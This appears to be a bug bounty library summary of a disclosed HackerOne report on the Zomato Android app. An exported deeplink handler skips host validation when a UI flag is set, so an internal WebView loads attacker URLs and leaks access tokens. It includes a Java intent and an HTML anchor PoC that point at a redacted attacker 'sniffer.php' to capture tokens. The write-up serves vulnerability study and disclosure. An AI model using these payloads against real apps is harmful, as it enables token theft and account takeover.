# [Zomato Order] Insecure deeplink leads to sensitive information disclosure

Exported DeepLinkRouter activity loaded attacker-controlled URL into internal WebView via missing host check, leaking access tokens to arbitrary sites.

- Payout: $750
- Severity: high
- Program: Eternal
- Found by: shell_c0de
- Disclosed: 2021-09-23
- Write-up quality: 6/10
- Original: https://hackerone.com/reports/532225
- Library page: https://bugbountylibrary.com/r/h1%3A532225
- Tags: area:mobile domain:mobile impact:ato impact:data-leak kind:bounty platform:hackerone sev:high tech:android technique:source-review vuln:access-control vuln:misconfiguration

**Target:** Android app com.application.zomato.ordering DeepLinkRouter activity / WebViewActivity
**Root cause:** The exported DeepLinkRouter activity parses zomato/zomatodelivery deeplinks; when navigation_bar_type=transparent is set, it calls the WebView loader path a() that skips the host validation applied in the normal g() path, allowing arbitrary URL loading.
**Steps:**
1. Identify exported activity com.application.zomato.activities.DeepLinkRouter via manifest inspection.
2. Craft intent with action android.intent.action.VIEW and data `zomatodelivery://zloyaltywebview/?url=<attacker_url>&navigation_bar_type=transparent`.
3. Trigger via malicious app startActivity or HTML link `<a href="zomatodelivery://zloyaltywebview/?url=<attacker_url>&navigation_bar_type=transparent">`.
4. Observe internal WebView loads attacker URL, exfiltrating access tokens / enabling XSS.
**How found:** Code review of the exported DeepLinkRouter decompiled source revealed two branches: g() with host check and a() without host check, reachable only when navigation_bar_type=transparent.
**Exploitation:** Attacker hosts a page that captures tokens or runs JS in the internal WebView context; victim clicks a link or installs a malicious app that fires the intent, causing the WebView to load the attacker URL with app privileges.
**Escalation:** Chained to XSS in internal WebView and open-arbitrary-site loading, raising impact beyond simple redirect.
**Insight:** When a deeplink handler has multiple code paths, look for the branch that skips validation—here a UI flag (navigation_bar_type=transparent) bypassed the host check applied on the normal path.

## Proof of concept (copied exactly from the original report)

**Java PoC intent with deeplink payload**

```
Intent intent = new Intent("android.intent.action.VIEW");
  intent.setData(Uri.parse("zomatodelivery://zloyaltywebview/?url=██████████sniffer.php&navigation_bar_type=transparent"));
  startActivity(intent);
```

**HTML deeplink PoC anchor**

```
<a href="zomatodelivery://zloyaltywebview/?url=████sniffer.php&navigation_bar_type=transparent">Send token Zomato</a>
```

